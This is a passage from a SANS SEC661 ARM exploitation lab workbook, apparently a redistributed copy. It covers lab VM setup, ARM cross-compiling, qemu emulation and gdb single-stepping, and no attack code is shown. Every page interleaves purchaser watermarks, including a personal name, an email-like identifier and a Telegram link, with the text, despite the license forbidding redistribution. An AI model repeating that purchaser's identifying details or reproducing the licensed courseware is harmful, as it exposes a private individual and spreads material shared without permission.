ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU.

09b91222e5d2d3d668cf8e52ec5d35ba
With this CLA, SANS Institute hereby grants User a personal, non-exclusive license to use the Courseware
subject to the terms of this agreement. Courseware includes all printed materials, including course books
and lab workbooks, as well as any digital or other media, virtual machines, and/or data sets distributed by
SANS Institute to User for use in the SANS class associated with the Courseware. User agrees that the
CLA is the complete and exclusive statement of agreement between SANS Institute and you and that this
CLA supersedes any oral or written proposal, agreement or other communication relating to the subject
matter of this CLA.

micede1865@wii999_com
BY ACCEPTING THIS COURSEWARE,USER AGREES TO BE BOUND BY THE TERMS OF THIS CLA.
BY ACCEPTING THIS SOFTWARE, USER AGREES THAT ANY BREACH OF THE TERMS OF THIS CLA
MAY CAUSE IRREPARABLE HARM AND SIGNIFICANT INJURY TO SANS INSTITUTE, AND THAT
SANS INSTITUTE MAY ENFORCE THESE PROVISIONS BY INJUNCTION (WITHOUT THE
NECESSITY OF POSTING BOND) SPECIFIC PERFORMANCE, OR OTHER EQUITABLE RELIEF.

If User does not agree, User may return the Courseware to SANS Institute for a full refund, if applicable.

24356915
User may not copy, reproduce, re-publish, distribute, display, modify or create derivative works based upon
all or any portion of the Courseware, in any medium whether printed, electronic or otherwise, for any
purpose, without the express prior written consent of SANS Institute. Additionally, User may not sell, rent,
lease, trade, or otherwise transfer the Courseware in any way, shape, or form without the express written
consent of SANS Institute.

If any provision of this CLA is declared unenforceable in any jurisdiction, then such provision shall be

Paul Erwin
deemed to be severable from this CLA and shall not affect the remainder thereof. An amendment or
addendum to this CLA may accompany this Courseware.

SANS acknowledges that any and all software and/or tools, graphics, images, tables, charts or graphs
presented in this Courseware are the sole property of their respective trademark/registered/copyright
owners, including:

AirDrop, AirPort, AirPort Time Capsule, Apple, Apple Remote Desktop, Apple TV, App Nap, Back to My

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Mac, Boot Camp, Cocoa, FaceTime, FileVault, Finder, FireWire, FireWire logo, iCal, iChat, iLife, iMac,
iMessage, iPad, iPad Air, iPad Mini, iPhone, iPhoto, iPod, iPod classic, iPod shuffle, iPod nano, iPod touch,
iTunes, iTunes logo, iWork, Keychain, Keynote, Mac, Mac Logo, MacBook, MacBook Air, MacBook Pro,
Macintosh, Mac OS, Mac Pro, Numbers, OS X, Pages, Passbook, Retina, Safari, Siri, Spaces, Spotlight,
There’s an app for that, Time Capsule, Time Machine, Touch ID, Xcode, Xserve, App Store, and iCloud are
registered trademarks of Apple Inc.

PMP® and PMBOK® are registered trademarks of PMI.

live
SOF-ELK® is a registered trademark of Lewes Technology Consulting, LLC. Used with permission.

SIFT® is a registered trademark of Harbingers, LLC. Used with permission.

Governing Law: This Agreement shall be governed by the laws of the State of Maryland, USA.

SEC661_W_G03_01
https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Welcome to the SEC661 Electronic Workbook

09b91222e5d2d3d668cf8e52ec5d35ba
E-Workbook Overview

This electronic workbook contains all lab materials for SANS SEC661. Each lab is designed to address a hands-on
application of concepts covered in the corresponding courseware and help students achieve the learning objectives the
course and lab authors have established.

micede1865@wii999_com
Some of the key features of this electronic workbook include the following:

• Convenient copy-to-clipboard buttons at the right side of code blocks

• Inline drop-down solutions, command lines, and results for easy validation and reference

• Integrated keyword searching across the entire site at the top of each page

• Full-workbook navigation is displayed on the left and per-page navigation is on the right of each page

24356915
• Many images can be clicked to enlarge when necessary

Updating the E-Workbook

keyboard Tip

Paul Erwin
We recommend performing the update process at the start of the first day of class to ensure you have the latest content.

The electronic workbook site is stored locally in the VM so that it is always available. However, course authors may
update the source content with minor fixes, such as correcting typos or clarifying explanations, or add new content such
as updated bonus labs. You can pull down any available updates into the VM by running the following command in a bash

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
window:

workbook-update.sh

Here are specific instructions for Linux VMs:

• For the Linux VM, open a Terminal window and run as root with the command workbook-update.sh as shown here:

live

© Hungry Hackers, LLC 1


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com
The script will indicate whether there were available updates. If so, be sure to refresh any pages you are currently
viewing (or restart the browser) to make sure you are seeing the latest content.

Using the E-Workbook


24356915
The SEC661 electronic workbook should be the home page for the browsers inside all virtual machines where it is
maintained. Simply open a browser or click the home page button to immediately access it in the VMs.

You can also access the workbook from your host system by connecting to the IP address of your VM. Run ip a in Linux
to get the IP address of your VM. Next, in a browser on your host machine, connect to the URL using that IP address (i.e.

Paul Erwin
http://<%VM-IP-ADDRESS%> ). You should see this main page appear on your host. This method could be especially
helpful when using multiple screens.

We hope you enjoy the SEC661 class and workbook!

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

2 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 0: Getting Started

09b91222e5d2d3d668cf8e52ec5d35ba
Overview

Welcome to SANS SEC661!!!

We are glad you are here and hope that you get a lot out of this training. This section is designed to help you setup your
lab environment. This course will use one primary virtual machine (hammerhead) that runs multiple qemu-based ARM

micede1865@wii999_com
virtual machines within it. Hammerhead runs in vmware and is designed to be a self-contained ARM training environment.

Credentials

All of the virtual machines in this course (except for netgear and dlink) use the following credentials:

• User: nemo

• Password: nemo 24356915


Virtual machines

The virtual machine setup is illustrated below. Further details will be provided in the labs.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© Hungry Hackers, LLC 3


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915
IP addresses for virtual machines

Virtual Machine Type IP Address Paul Erwin


Hammerhead x86_64 VMWare VM 192.168.2.1

Mako ARMv7 Qemu VM 192.168.2.10

Dogfish ARMv7 Qemu VM 192.168.2.20

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
netgear

dlink
ARMv7 chroot

ARMv7 chroot
192.168.2.21

192.168.2.22

Tiger 64-bit ARM 192.168.2.40

live

4 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Setting up the hammerhead virtual machine

Requirements

09b91222e5d2d3d668cf8e52ec5d35ba
• You will need Vmware Workstation or Vmware Fusion to run the hammerhead virtual machine. The free 30-day trial is
sufficient for this course.

• https://www.vmware.com/products/workstation-pro.html

• https://www.vmware.com/products/fusion.html

micede1865@wii999_com
• You will need around 80Gb of free disk space for the hammerhead vm

• You will need 7zip or other compression software that can decompress .7z files

• https://www.7-zip.org/download.html

• You will need administrative access for the host you are running hammerhead on

Importing the hammerhead vm


24356915
• Download and extract the hammerhead-vm.7z file

• Open Vmware Workstation or Vmware Fusion

• Import the hammerhead virtual machine by clicking File/Open, browse to the Hammerhead_XXXX.vmx file in the
extracted folder and click Open

Starting the hammerhead vm in vmware


Paul Erwin
• Start the virtual machine by selecting it in Vmware Workstation and click Power On this Virtual Machine

• No changes need to be made to the virtual machine's cpu or ram configuration

• If you are prompted the first time the virtual machine boots up, select "I copied it" to continue
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Hammerhead vm

The hammerhead virtual machine should be started directly from vmware. All of the other vms will run inside of
hammerhead.

 Security Warning live


For the purposes of our labs, ASLR has been turned off in the hammerhead virtual machine. This virtual machine runs intentionally
vulnerable software. It is not recommended to use this vm in a production environment.

© Hungry Hackers, LLC 5


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Changing the Keyboard and Language Settings

To change the keyboard and language settings, click "Activities" in the upper-left corner, and then type Settings and search

09b91222e5d2d3d668cf8e52ec5d35ba
for "Region & Language". Make changes as needed.

Starting up the mako, dogfish, and tiger virtual machines

These virtual machines are all started the same way.

 Notice
micede1865@wii999_com
Multiple qemu vms can be ran at once, but it is recommended to only run one at a time.

• Start up the hammerhead vm and login with the credentials provided above

• Open a console (use the Terminator icon in the left sidebar)

24356915

Paul Erwin
• Change into the directory for the qemu arm vm you want to start (ie cd ~/qemu/mako)

• Use sudo and run the startup script (sudo ./start_mako.sh)

nemo@hammerhead:~$ cd ~/qemu/mako

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh
[sudo] password for nemo:

• There will be a lot of activity on the screen after issuing this command and entering the password. You should see
what looks like a normal linux startup ending with a login prompt.

...

Ubuntu 20.04.2 LTS mako ttyAMA0


live
mako login:

• If you get the login prompt, Congratulations! your emulated ARM vm is ready

6 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

This can take a while and if you think it has completed, but don't see a login prompt, try hitting enter a few times.

09b91222e5d2d3d668cf8e52ec5d35ba
Connecting to the virtual machines

Using the display in the qemu console can be limiting, so it is recommended to ssh locally into the virtual machines while
doing the lab exercises.

micede1865@wii999_com
• Once you have started up the virtual machine, create another tab in the Terminator console window (ctrl+shift+t).

• From this new tab, ssh into the virtual machine. You can ssh to the name of the vm or its IP address listed above.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@mako's password:

Last login: Sat Mar 27 21:35:17 2021 from 192.168.2.1

nemo@mako:~$ 24356915
The labs and labs64 shared folders

The /home/nemo/labs and /home/nemo/labs64 folders are shared from hammerhead vm to the mako and tiger vms via
NFS and should automatically stay synchronized.
Paul Erwin
For example, when you log into mako, you will see the labs folder in nemo's home directory. Any changes you make to this
folder while logged into mako will be reflected in the labs folder in the hammerhead vm. Also, any changes made in the /
home/nemo/labs folder while in hammerhead will be reflected in the mako vm.

Similarly, the /home/nemo/labs64 folder in hammerhead will be synchronized with the /home/nemo/labs64 folder in the

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
tiger vm.

Static analysis of the ARM binaries using tools like ghidra or radare2 can be done in hammerhead.

 Note

There are no graphical editors in the qemu virtual machines. However, if you would like to edit files in the labs or labs64 folders, you

live
can edit them using a graphical editor (like gedit) in the hammerhead vm. Any saved changes will be automatically synched to the
qemu vms. Alternatively, you can use vim and nano which are installed in each of the qemu vms. Nano Cheatsheet

Netgear and Dlink

The instructions for starting up the netgear and dlink emulated routers are provided in their associated labs.

© Hungry Hackers, LLC 7


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 1: Working with ARM

09b91222e5d2d3d668cf8e52ec5d35ba
Background

Most of us aren't running ARM natively (yet). Cross-compilers allow us to compile programs for ARM while working in
another architecture such as x86_64. Having a fundamental understanding how programs are built gives researchers an
advantage for understanding bugs in code. Emulators such as qemu allow us to run single binaries or entire operating
systems on non-native architecture.

Objectives
micede1865@wii999_com
• Cross compiling ARM binaries

• Emulating ARM on non-native platform

Lab Preparation 24356915


 Info

This lab will be done in the hammerhead virtual machine

Paul Erwin
• Boot up the hammerhead virtual machine in vmware and login using the credentials below.

• User: nemo

• Password: nemo

To get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon with 4

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
squares. Alternatively, you can use the native Terminal application.

 Info

Copies of the binaries have been placed in the ~/labs/simple_loop folder so that you can work out of the ~/labs/simple_loop/
src folder and compile new binaries without having to worry about overwriting existing files.

Compiling a native (x86_64) binary


live
The hammerhead virtual machine is not ARM. Let's confirm this by opening up a terminal and running the uname -a
command to confirm that hammerhead is running on the x86_x64 architecture.

8 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~$ uname -a

Linux hammerhead 5.8.0-44-generic #50~20.04.1-Ubuntu SMP Wed Feb 10 21:07:30 UTC 2021 x86_64 x86_64
x86_64 GNU/Linux

09b91222e5d2d3d668cf8e52ec5d35ba
This command should confirm that the hammerhead architecture is x86_64.

Ensure you have the ARM cross compiler installed in the hammerhead vm by typing arm-linux and hitting the tab key a
few times, you should see an expanded list of arm-linux-gnueabi-... binaries.

nemo@hammerhead:~$ arm-linux-gnueabi-

micede1865@wii999_com
arm-linux-gnueabi-addr2line
arm-linux-gnueabi-ar
arm-linux-gnueabi-as
arm-linux-gnueabi-gcov-9
arm-linux-gnueabi-gcov-dump
arm-linux-gnueabi-gcov-dump-9
arm-linux-gnueabi-c++filt arm-linux-gnueabi-gcov-tool
arm-linux-gnueabi-cpp arm-linux-gnueabi-gcov-tool-9
arm-linux-gnueabi-cpp-9 arm-linux-gnueabi-gprof
arm-linux-gnueabi-dwp arm-linux-gnueabi-ld
arm-linux-gnueabi-elfedit arm-linux-gnueabi-ld.bfd
arm-linux-gnueabi-gcc
arm-linux-gnueabi-gcc-9
arm-linux-gnueabi-gcc-ar
24356915
arm-linux-gnueabi-ld.gold
arm-linux-gnueabi-nm
arm-linux-gnueabi-objcopy
arm-linux-gnueabi-gcc-ar-9 arm-linux-gnueabi-objdump
arm-linux-gnueabi-gcc-nm arm-linux-gnueabi-ranlib
arm-linux-gnueabi-gcc-nm-9 arm-linux-gnueabi-readelf
arm-linux-gnueabi-gcc-ranlib arm-linux-gnueabi-size
arm-linux-gnueabi-gcc-ranlib-9 arm-linux-gnueabi-strings
arm-linux-gnueabi-gcov

Paul Erwin
arm-linux-gnueabi-strip

Let's start by looking at a basic C program. The source code for simple_loop is shown below. It will run through a basic
"for" loop several times and when it is finished will print the total number of iterations.

nemo@hammerhead:~$ cd labs/simple_loop/src/

nemo@hammerhead:~/labs/simple_loop/src$ ls

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
simple_loop.c

nemo@hammerhead:~/labs/simple_loop/src$ cat simple_loop.c


#include <stdio.h>

int main(int argc, char *argv[]) {

int index;
int max = 10;
live
for(index=0; index<max; index++) {

© Hungry Hackers, LLC 9


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


printf("total: %d\n", index);

return 0;
}

09b91222e5d2d3d668cf8e52ec5d35ba
Compile this for the native architecture (x86_64) using the gcc command as shown below. The -o parameter designates
the output file name. We will name the first file with a .x64 extension to differentiate the architecture.

nemo@hammerhead:~/labs/simple_loop/src$ gcc -o simple_loop.x64 simple_loop.c


nemo@hammerhead:~/labs/simple_loop/src$ ls
simple_loop.c simple_loop.x64

micede1865@wii999_com
The file command displays information about the file type. In the output below, we see that the simple_loop.x64 that
we just compiled is a x86-64 ELF file.

nemo@hammerhead:~/labs/simple_loop/src$ file simple_loop.x64


simple_loop.x64: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc030ad8a349926236e6d23d9207d3877e670923, for
GNU/Linux 3.2.0, not stripped

24356915
Since simple_loop.x64 is an x86_64 ELF binary, it should run fine in the hammerhead vm.

nemo@hammerhead:~/labs/simple_loop/src$ ./simple_loop.x64
total: 10

Cross-compiling an ARM binary Paul Erwin


Now, let's try using the arm-gnueabi-gcc compiler. With this tool we can cross-compile to create ARM binaries while
running on other platforms like x86_64.

nemo@hammerhead:~/labs/simple_loop/src$ arm-linux-gnueabi-gcc -o simple_loop.arm simple_loop.c

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/labs/simple_loop/src$ ls
simple_loop.arm simple_loop.c simple_loop.x64

Again, we will use an extension (this time ".arm") to designate the type of file we are creating. Check this with the file
command to ensure we created an ARM ELF binary.

nemo@hammerhead:~/labs/simple_loop/src$ file simple_loop.arm

live
simple_loop.arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.3, BuildID[sha1]=a70a511365761bdfcf5abdd1aa1e52c89dd2d845, for GNU/Linux
3.2.0, not stripped

If we try to run the ARM binary on the x86_64 architecture, we get the following error.

10 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/labs/simple_loop/src$ ./simple_loop.arm
bash: ./simple_loop_arm: cannot execute binary file: Exec format error

09b91222e5d2d3d668cf8e52ec5d35ba
 Note

If the qemu-user-binfmt package is installed, ARM binaries are able to run in the x86_64 vm. This package uses qemu-arm behind
the scenes. This package is installed with qemu-arm but has been removed in the hammerhead vm.

Running ARM binaries on x86_64


micede1865@wii999_com
The qemu-arm command allows us to run ARM binaries in our non-ARM vm.

nemo@hammerhead:~/labs/simple_loop/src$ qemu-arm ./simple_loop.arm


/lib/ld-linux.so.3: No such file or directory

The problem is that simple_loop.arm is dynamically linked and cannot find the ARM version of its dependencies (ie ld-

24356915
linux.so.3) on the x86_64 host that it is running on.

If you get this error, try recompiling the binary with the -static parameter. This will build the ARM binary with all of its
external dependencies combined into a single ELF file, meaning that it will not rely on external shared objects like ld-
linux.so.3.

Paul Erwin
nemo@hammerhead:~/labs/simple_loop/src$ arm-linux-gnueabi-gcc -o simple_loop_static.arm simple_loop.c -
static

nemo@hammerhead:~/labs/simple_loop/src$ ls
simple_loop.arm simple_loop.c simple_loop_static.arm simple_loop.x64

nemo@hammerhead:~/labs/simple_loop/src$ file simple_loop_static.arm


simple_loop_static.arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked,
BuildID[sha1]=89bf612ae8880f5f19d1150addf204441baa9386, for GNU/Linux 3.2.0, not stripped

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/labs/simple_loop$ qemu-arm ./simple_loop_static.arm
total: 10

keyboard Tip

If you have the required ARM shared objects on your host, you can use the -L parameter for qemu-arm to specify a search path.
Try qemu-arm --help to see more options. live

© Hungry Hackers, LLC 11


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Summary

In this lab we covered some basics on working with ARM on non-ARM systems. Moving forward we will be using qemu for

09b91222e5d2d3d668cf8e52ec5d35ba
emulating full operating systems. The components required for running and compiling ARM are important and there may
be circumstances where we want to:

• Build our own custom ARM tools for emulation or fuzzing

• Write and compile ARM binaries to run on a target

• Emulate ARM binaries pulled from IoT devices for dynamic analysis or fuzzing

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

12 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 2: Debugging ARM Assembly

09b91222e5d2d3d668cf8e52ec5d35ba
Background

There are lots of ARM assembly instructions and learning them takes time. This lab is designed to get you familiar with
some common instructions by stepping through them one at a time and observing the affects they have on the system. If
you are new to ARM assembly, it may seem overwhelming, but don't be discouraged, you will begin to notice patterns the
more you work with it.

Objectives
micede1865@wii999_com
• Using the gdb debugger with the gef plugin

• Setting breakpoints

• Single stepping through ARM assembly

• Examining process memory while in gdb


24356915
Lab Preparation

 Note

This lab will be done in the mako vm.


Paul Erwin
Accessing the mako vm

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Login to the hammerhead virtual machine using the credentials below.

• User: nemo

• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

live
• While in the terminator window console, navigate to the ~/qemu/mako folder.

• Use the command sudo start_mako.sh to start the mako virtual machine.

• When prompted, use the password: nemo

nemo@hammerhead:~$ cd qemu/mako

© Hungry Hackers, LLC 13


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh
[sudo] password for nemo:

• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux

09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.

micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0

mako login:

• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the mako vm.


24356915
• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@192.168.2.10's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@mako:~$

Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

Debugging the simple_loop program

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
While ssh'd into the mako vm, change into the /home/nemo/labs/simple_loop folder.

nemo@mako:~$ cd ~/labs/simple_loop/

live

14 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

Using gef in this lab is a matter of preference. If you are familiar with gdb and don't want to use gef, you can disable it by

09b91222e5d2d3d668cf8e52ec5d35ba
commenting out the the gef entry in ~/.gdbinit file with a "#". If you disable gef and just use gdb, your output will look different from
what is in this lab guide.

To disable gef, use nano to edit the ~/.gdbinit file.

nemo@mako:~$ nano ~/.gdbinit

While editing the file with nano, insert a '#' at the beginning of the line and then hit ctrl-x to exit nano. When prompted to save, hit 'y'.

micede1865@wii999_com
You can then view your changes with the cat command.

nemo@mako:~/labs/simple_loop$ cat ~/.gdbinit


#source ~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py

Open simple_loop_static.arm in the gdb debugger using the following command.

24356915
nemo@mako:~/labs/simple_loop$ gdb simple_loop_static.arm

GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2


Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Paul Erwin
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
87 commands loaded for GDB 9.2 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from simple_loop_static.arm...
(No debugging symbols found in simple_loop_static.arm)
gef➤

live
First, let's change the gef settings so that it displays only registers and code when we hit a breakpoint.

gef➤ gef config context.layout "regs code"

© Hungry Hackers, LLC 15


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Disassembly the main function

Start by disassembling the main function in gdb.

09b91222e5d2d3d668cf8e52ec5d35ba
gef➤ disas main
Dump of assembler code for function main:
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #16
0x00010484 <+4>: add r7, sp, #0
0x00010486 <+6>: str r0, [r7, #4]
0x00010488 <+8>: str r1, [r7, #0]

micede1865@wii999_com
0x0001048a <+10>:
0x0001048c <+12>:
0x0001048e <+14>:
movs r3, #10
str r3, [r7, #12]
movs r3, #0
0x00010490 <+16>: str r3, [r7, #8]

...

You should recognize some of the assembly instructions from our class discussion. Here are some examples.
24356915
• sub sp, #16 (subtract 16 from sp and store it back in sp)

• add r7, sp, #0 (add 0 to sp and store the result in r7)

• str r0, [r7, #4] (store the value in r0 at the address in r7+4)

• movs r3, #10 (move 10 into the r3 register)

Setting a breakpoint in main


Paul Erwin
We want to set a breakpoint on the sub sp, #16 instruction near the beginning of the main function. Once the
breakpoint is set, we can start the program and when it reaches this instruction it will break or stop. We will be able to
interact with the debugger and examine memory when the program is in this halted state.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Set a breakpoint with the b command, which is short for break . We use a * to let gdb know that we are setting the
breakpoint on an address and not a name.

 Note

On your system, this address may vary, look for the sub instruction near the beginning of the main function.

b *0x00010482
live
Don't forget the asterisk (*).

We can verify our breakpoint by running the info b command.

16 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


gef➤ info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x00010482 <main+2>

09b91222e5d2d3d668cf8e52ec5d35ba
Next, start the program with the run command. Execution of the simple_loop_static.arm program will begin and
execution should stop at our breakpoint. If we are using gef, we should see the following output.

gef➤ run

───────────────────────────────────────────────────────────────────────── registers ────


$r0 : 0x1

micede1865@wii999_com
$r1 : 0xbefff5e4 → 0xbefff712 → "/home/nemo/labs/simple_loop/simple_loop_static"
$r2 : 0xbefff5ec → 0xbefff741 → "SHELL=/bin/bash"
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefff4b8 → 0xaad03bc9
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
24356915
$r12 : 0xbefff520 → 0x00000000
$sp : 0xbefff498 → 0x00000000
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010482 → <main+2> sub sp, #16
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047d <frame_dummy+37> b.n
0x1047f <frame_dummy+39> nop
0x10481 <main+1> push
Paul Erwin
0x103fc <register_tm_clones>

{r7, lr}
→ 0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x1048d <main+13> str r3, [r7, #12]
────────────────────────────────────────────────────────────────────────────────────────
gef➤

Single stepping

Let's examine some of the instructions by stepping through them one at a time and observing the changes made to the
live
registers. For example, when the first instruction (sub sp, #16) has been executed, we should see 16 subtracted from the
sp register.

gef➤ si

© Hungry Hackers, LLC 17


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Try it.

Step through assembly instructions one at a time using the si (step instruction) command. Use this command multiple times and

09b91222e5d2d3d668cf8e52ec5d35ba
see if you can recognize and begin to predict the changes that occur when the instructions are executed.

Examining memory

Restart the program by typing in the run command. We should hit our breakpoint again. This time let's take a look at how
the memory is changing. In gdb, we can examine memory using the x command. Typing help x in gdb will give you a
brief description.
micede1865@wii999_com
With gdb paused at our breakpoint, execute the following command.

gef➤ x/20wx $sp


0xbefff4a8: 0x00000000 0x00010649 0x00000000 0x00074000
0xbefff4b8: 0x00000001 0xbefff5f4 0x00010481 0x00010168
0xbefff4c8: 0x3a23e4da 0x84dd1671 0x000109dd 0x00010168
0xbefff4d8: 0x00074010
0xbefff4e8: 0x00074000
0x00000000
0x00000000 24356915
0x00000000
0x00000000
0x00000000
0x00000000

Let's breakdown this command. x/20wx $sp

• We want to examine memory x/ . The debugger knows that the format will follow the slash.

• Show us '20' words 'w' in hexadecimal 'x'.


Paul Erwin
• Start displaying memory at the address in the '$sp' register.

We see this in the output above. The column on the left shows the memory addresses and the 4 columns to the right are
the 20 words in hexadecimal as we requested.

What if we wanted to see this in single bytes instead of words? We substitute the 'w' for a 'b'. Here we are showing 24

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
bytes starting at the '$sp' register again. Notice the addresses in the left column are different because we are only
showing 8 bytes per line.

gef➤ x/24bx $sp


0xbefff4a8: 0x00 0x00 0x00 0x00 0x49 0x06 0x01 0x00
0xbefff4b0: 0x00 0x00 0x00 0x00 0x00 0x40 0x07 0x00
0xbefff4b8: 0x01 0x00 0x00 0x00 0xf4 0xf5 0xff 0xbe

live
Run the si instruction a few times until you get to address 0x10487 shown below. You're output may vary, but we are
single stepping to the str r0, [r7, #4] instruction.

────────────────────────────────────────────────────────────────────────────────────────────────
registers ────
$r0 : 0x1
$r1 : 0xbefff5f4 → 0xbefff719 → "/home/nemo/labs/simple_loop/simple_loop_static.arm"

18 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


$r2 : 0xbefff5fc → 0xbefff74c → "SHELL=/bin/bash"
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefff4c8 → 0x84a8ade6
$r5 : 0x0

09b91222e5d2d3d668cf8e52ec5d35ba
$r6 : 0x0
$r7 : 0xbefff498 → 0x00010168 → <_init+0> push {r3, lr}
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefff530 → 0x00000000
$sp : 0xbefff498 → 0x00010168 → <_init+0> push {r3, lr}
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>

micede1865@wii999_com
$pc : 0x00010486 → <main+6> str r0, [r7, #4]
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
───────────────────────────────────────────────────────────────────────────────────────────
code:arm:THUMB ────
0x10481 <main+1> push {r7, lr}
0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0
→ 0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9>
0x1048b <main+11>
0x1048d <main+13>
str
movs
str
r3, #10 24356915
r1, [r7, #0]

r3, [r7, #12]


0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Paul Erwin
The next instruction str r0, [r7, #4] will store the value held in r0 in the address held by r7+4. Let's check the value
